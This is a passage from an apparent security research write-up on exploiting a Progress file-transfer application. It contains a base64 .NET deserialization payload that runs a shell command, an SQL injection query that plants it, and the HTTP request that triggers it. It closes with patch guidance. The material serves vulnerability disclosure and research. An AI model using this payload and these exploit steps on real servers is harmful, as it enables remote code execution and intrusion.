AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA2AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBd3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lFTTZYSGd1ZEhoMElpQlRkR0Z1WkdGeVpFVnljbTl5Ulc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVGRHRnVaR0Z5WkU5MWRIQjFkRVZ1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVlhObGNrNWhiV1U5SWlJZ1VHRnpjM2R2Y21ROUludDRPazUxYkd4OUlpQkViMjFoYVc0OUlpSWdURzloWkZWelpYSlFjbTltYVd4bFBTSkdZV3h6WlNJZ1JtbHNaVTVoYldVOUltTnRaQ0lnTHo0TkNpQWdJQ0FnSUR3dmMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ1BDOXpaRHBRY205alpYTnpQZzBLSUNBOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpNVBZbXBsWTNSSmJuTjBZVzVqWlQ0TkNqd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlQZ3M9Cw==
--25233a574988c6ad054da8335aeb4c35--

Ran the following query via SQL injection. This copied our payload into the <span class="code_single-line">state</span> field.

update fileuploadinfo set state=comment where fileid='966489702';

We then triggered the exploit with the final request.

PUT /api/v1/folders/964602477/files?uploadType=resumable&fileId=966489702 HTTP/1.1
Host: 192.168.37.144
Connection: close
Authorization: Bearer ...
Content-Range: bytes 0-1/10
Content-Length: 141
Content-Type: multipart/form-data; boundary=634979e9d149f16d3cefb6888b8c2a56

--634979e9d149f16d3cefb6888b8c2a56
Content-Disposition: form-data; name="file"; filename="file"

x
--634979e9d149f16d3cefb6888b8c2a56--

And lastly, we then checked to see if it worked and were delighted by what we saw.

Conclusion

We are still seeing companies hit by this vulnerability. And with the release of public proof-of-concepts this could increase. If you’re concerned you are affected, see Progress’ bulletin with version and patch information here.

We have shown several techniques here that we hope will aid you on your own security research projects. When it’s an option, attaching a debugger to step through the code has proven to be invaluable in trying to understand a complex application. Additionally, when faced with encrypted values as we were with our deserialisation payload, finding a way to get the application to do the encryption for you is a technique we have used here and in the past to great effect.

As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.

Written by:
Dylan Pindur
Your subscription could not be saved. Please try again.
Your subscription has been successful.

Get updates on our research

Subscribe to our newsletter and stay updated on the newest research, security advisories, and more!

Ready to get started?

Get on a call with our team and learn how Assetnote can change the way you secure your attack surface. We'll set you up with a trial instance so you can see the impact for yourself.